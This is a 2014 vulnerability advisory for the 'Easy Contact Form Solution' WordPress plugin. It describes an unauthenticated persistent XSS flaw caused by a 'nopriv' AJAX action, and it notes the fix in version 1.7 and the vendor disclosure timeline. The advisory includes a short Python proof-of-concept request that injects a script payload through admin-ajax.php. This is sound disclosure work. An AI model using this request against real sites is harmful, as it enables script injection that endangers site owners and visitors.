g0blin Research

Follow @g0blinResearch

Easy Contact Form Solution 1.0 - 1.6, Persistent XSS

Due to exposing an AJAX function to anonymous users by using the ‘nopriv’ method of adding an AJAX action, anonymous users are able to insert arbitrary HTML / Javascript onto the site globally.

Homepage

https://wordpress.org/plugins/easy-contact-form-solution/

CVSS Score

6.4

CSSS Vector

(AV:N/AC:L/Au:N/C:P/I:P/A:N)

Attack Scope

remote

Authorization Required

None

Mitigation

Update to version 1.7

Proof of Concept

The following Python script will result arbitrary Javascript being executed on page load. Any custom HTML content can be inserted into the ‘value’ field. 

import requests
url = 'http://localhost/wp-admin/admin-ajax.php'
payload = {
	"action":"master_response",
	"value":"<script>alert('.')</script>"}
r = requests.post(url, data=payload)

Timeline

  • 2014-09-23: Discovered
  • 2014-09-23: Reported to vendor
  • 2014-09-24: Vendor responded with intent to fix
  • 2014-09-29: Update requested from vendor
  • 2014-09-30: CVE requested
  • 2014-10-02: CVE assigned
  • 2014-10-06: Update requested from vendor
  • 2014-10-10: 1.7 released – issue resolved
  • 2014-10-17: Advisory released